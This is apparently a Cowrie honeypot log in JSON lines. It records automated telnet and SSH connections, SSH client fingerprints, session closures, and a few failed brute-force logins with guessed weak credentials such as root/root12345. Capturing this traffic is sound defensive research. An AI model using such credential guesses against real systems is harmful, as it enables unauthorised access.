{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:43.861023Z","src_ip":"176.65.139.103","session":"2cdde01a24b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:44.119244Z","src_ip":"176.65.139.103","session":"2cdde01a24b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54918,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f30b9a0d69","protocol":"telnet","message":"New connection: 159.223.86.167:54918 (159.203.135.109:23) [session: 38f30b9a0d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:44.204197Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55334,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f0ef6f82241","protocol":"telnet","message":"New connection: 159.223.86.167:55334 (159.203.135.109:23) [session: 3f0ef6f82241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:44.348438Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58492,"dst_ip":"10.17.0.5","dst_port":23,"session":"670ec25ee41a","protocol":"telnet","message":"New connection: 213.136.75.179:58492 (10.17.0.5:23) [session: 670ec25ee41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:44.545713Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56064,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb682546b98","protocol":"telnet","message":"New connection: 159.223.86.167:56064 (159.203.135.109:23) [session: 1bb682546b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:44.565875Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56398,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd666ed8fd9e","protocol":"telnet","message":"New connection: 159.223.86.167:56398 (159.203.135.109:23) [session: cd666ed8fd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:44.661394Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:45.422966Z","src_ip":"176.65.139.103","session":"2cdde01a24b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59766,"dst_ip":"159.203.135.109","dst_port":23,"session":"d92175360527","protocol":"telnet","message":"New connection: 159.223.86.167:59766 (159.203.135.109:23) [session: d92175360527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:45.494309Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60338,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dfbfbde4251","protocol":"telnet","message":"New connection: 159.223.86.167:60338 (159.203.135.109:23) [session: 9dfbfbde4251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:45.631844Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58496,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa464ecb023f","protocol":"telnet","message":"New connection: 213.136.75.179:58496 (10.17.0.5:23) [session: fa464ecb023f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:45.758417Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":34604,"dst_ip":"10.17.0.5","dst_port":22,"session":"209e455ec894","protocol":"ssh","message":"New connection: 20.244.18.126:34604 (10.17.0.5:22) [session: 209e455ec894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:45.818670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:45.823645Z","src_ip":"20.244.18.126","session":"209e455ec894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":33566,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d6bc4bf37c1","protocol":"telnet","message":"New connection: 159.223.86.167:33566 (159.203.135.109:23) [session: 6d6bc4bf37c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:45.921998Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:46.014963Z","src_ip":"20.244.18.126","session":"209e455ec894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user1234","message":"login attempt [ubuntu/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:46.802937Z","src_ip":"20.244.18.126","session":"209e455ec894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36944,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ce74657540","protocol":"telnet","message":"New connection: 159.223.86.167:36944 (159.203.135.109:23) [session: 66ce74657540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:46.812049Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37404,"dst_ip":"159.203.135.109","dst_port":23,"session":"a967fef5401d","protocol":"telnet","message":"New connection: 159.223.86.167:37404 (159.203.135.109:23) [session: a967fef5401d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:46.907713Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39608,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb5631dc6bd","protocol":"telnet","message":"New connection: 159.223.86.167:39608 (159.203.135.109:23) [session: 5bb5631dc6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:47.445000Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40080,"dst_ip":"159.203.135.109","dst_port":23,"session":"a28ac2b99256","protocol":"telnet","message":"New connection: 159.223.86.167:40080 (159.203.135.109:23) [session: a28ac2b99256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:47.611806Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41322,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd0ccebb9ad0","protocol":"telnet","message":"New connection: 159.223.86.167:41322 (159.203.135.109:23) [session: cd0ccebb9ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:47.878123Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:47.993846Z","src_ip":"20.244.18.126","session":"209e455ec894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":45754,"dst_ip":"159.203.135.109","dst_port":23,"session":"e12c5094abe5","protocol":"telnet","message":"New connection: 159.223.86.167:45754 (159.203.135.109:23) [session: e12c5094abe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:48.910678Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":45912,"dst_ip":"159.203.135.109","dst_port":23,"session":"65086d7de3c1","protocol":"telnet","message":"New connection: 159.223.86.167:45912 (159.203.135.109:23) [session: 65086d7de3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:48.949805Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4c729ae592","protocol":"telnet","message":"New connection: 159.223.86.167:47078 (159.203.135.109:23) [session: 1d4c729ae592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:49.247814Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48208,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c4590bbcf5f","protocol":"telnet","message":"New connection: 213.136.75.179:48208 (10.17.0.5:23) [session: 6c4590bbcf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:49.372661Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48218,"dst_ip":"10.17.0.5","dst_port":23,"session":"66254d18843d","protocol":"telnet","message":"New connection: 213.136.75.179:48218 (10.17.0.5:23) [session: 66254d18843d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:49.403073Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47880,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6c5ef8e4a9f","protocol":"telnet","message":"New connection: 159.223.86.167:47880 (159.203.135.109:23) [session: b6c5ef8e4a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:49.487436Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48796,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac03c0de717b","protocol":"telnet","message":"New connection: 159.223.86.167:48796 (159.203.135.109:23) [session: ac03c0de717b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:49.714504Z"}
{"eventid":"cowrie.session.closed","duration":31.049514770507812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:49.818581Z","src_ip":"159.223.86.167","session":"9748b5b47a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49346,"dst_ip":"159.203.135.109","dst_port":23,"session":"018d4a8dc1f1","protocol":"telnet","message":"New connection: 159.223.86.167:49346 (159.203.135.109:23) [session: 018d4a8dc1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:49.858094Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a0be8e2080","protocol":"telnet","message":"New connection: 159.223.86.167:50266 (159.203.135.109:23) [session: 35a0be8e2080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:50.065637Z"}
{"eventid":"cowrie.session.closed","duration":30.856136322021484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:50.188533Z","src_ip":"159.223.86.167","session":"fbb52a47aa62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51450,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cb96f12e9a4","protocol":"telnet","message":"New connection: 159.223.86.167:51450 (159.203.135.109:23) [session: 4cb96f12e9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:50.298166Z"}
{"eventid":"cowrie.session.closed","duration":37.58093285560608,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:50.595863Z","src_ip":"185.26.126.47","session":"ca45a3d30f72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ddb2b12ac7","protocol":"ssh","message":"New connection: 176.65.139.103:40800 (10.17.0.5:22) [session: a1ddb2b12ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:50.606942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:50.615404Z","src_ip":"176.65.139.103","session":"a1ddb2b12ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:50.689719Z","src_ip":"176.65.139.103","session":"a1ddb2b12ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:51.016009Z","src_ip":"176.65.139.103","session":"a1ddb2b12ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83480715751648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:51.138207Z","src_ip":"159.223.86.167","session":"fa8adbca216a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":34976,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe02d9e7c16e","protocol":"telnet","message":"New connection: 155.117.234.131:34976 (10.17.0.5:23) [session: fe02d9e7c16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:51.262725Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48232,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b315ef66f40","protocol":"telnet","message":"New connection: 213.136.75.179:48232 (10.17.0.5:23) [session: 1b315ef66f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:51.266273Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48246,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0939c3a3a3","protocol":"telnet","message":"New connection: 213.136.75.179:48246 (10.17.0.5:23) [session: ea0939c3a3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:51.828126Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.099239Z","src_ip":"176.65.139.103","session":"a1ddb2b12ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48250,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59646e8dae7","protocol":"telnet","message":"New connection: 213.136.75.179:48250 (10.17.0.5:23) [session: e59646e8dae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.164848Z"}
{"eventid":"cowrie.session.closed","duration":30.766910076141357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.333303Z","src_ip":"159.223.86.167","session":"2e4a757b08d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.649115800857544,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.536022Z","src_ip":"213.136.75.179","session":"8f0ad32c6d62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59960,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e774577aafa","protocol":"telnet","message":"New connection: 159.223.86.167:59960 (159.203.135.109:23) [session: 4e774577aafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.582881Z"}
{"eventid":"cowrie.session.closed","duration":31.06658101081848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.710630Z","src_ip":"159.223.86.167","session":"4f08d1cb11bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60796,"dst_ip":"159.203.135.109","dst_port":23,"session":"befa2bbf92a9","protocol":"telnet","message":"New connection: 159.223.86.167:60796 (159.203.135.109:23) [session: befa2bbf92a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.733518Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48260,"dst_ip":"10.17.0.5","dst_port":23,"session":"03872a080e72","protocol":"telnet","message":"New connection: 213.136.75.179:48260 (10.17.0.5:23) [session: 03872a080e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:52.886399Z"}
{"eventid":"cowrie.session.closed","duration":30.43936252593994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:53.135844Z","src_ip":"159.223.86.167","session":"257381fdd9ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1424343585968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:53.151266Z","src_ip":"159.223.86.167","session":"a0ac66a3b0ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687878370285034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:53.256545Z","src_ip":"159.223.86.167","session":"f6e319239e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35362,"dst_ip":"159.203.135.109","dst_port":23,"session":"628a0c8e17d4","protocol":"telnet","message":"New connection: 159.223.86.167:35362 (159.203.135.109:23) [session: 628a0c8e17d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:53.460694Z"}
{"eventid":"cowrie.session.closed","duration":34.969645977020264,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:53.545912Z","src_ip":"213.136.75.179","session":"124bf839ab95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33518981933594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:54.183568Z","src_ip":"213.136.75.179","session":"4bb5451675d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39398,"dst_ip":"159.203.135.109","dst_port":23,"session":"97933c445ae7","protocol":"telnet","message":"New connection: 159.223.86.167:39398 (159.203.135.109:23) [session: 97933c445ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:54.331399Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35536,"dst_ip":"159.203.135.109","dst_port":23,"session":"d12c0e3fad3b","protocol":"telnet","message":"New connection: 159.223.86.167:35536 (159.203.135.109:23) [session: d12c0e3fad3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:54.510410Z"}
{"eventid":"cowrie.session.closed","duration":31.2034113407135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:54.791785Z","src_ip":"159.223.86.167","session":"04642345098a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42426,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0443a16f39","protocol":"telnet","message":"New connection: 159.223.86.167:42426 (159.203.135.109:23) [session: cc0443a16f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:55.108416Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":43406,"dst_ip":"159.203.135.109","dst_port":23,"session":"2adf20eb0a27","protocol":"telnet","message":"New connection: 159.223.86.167:43406 (159.203.135.109:23) [session: 2adf20eb0a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:55.345354Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47448,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dae5d64918b","protocol":"telnet","message":"New connection: 159.223.86.167:47448 (159.203.135.109:23) [session: 6dae5d64918b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:56.369641Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48266,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c7b55e5980e","protocol":"telnet","message":"New connection: 213.136.75.179:48266 (10.17.0.5:23) [session: 4c7b55e5980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:56.387463Z"}
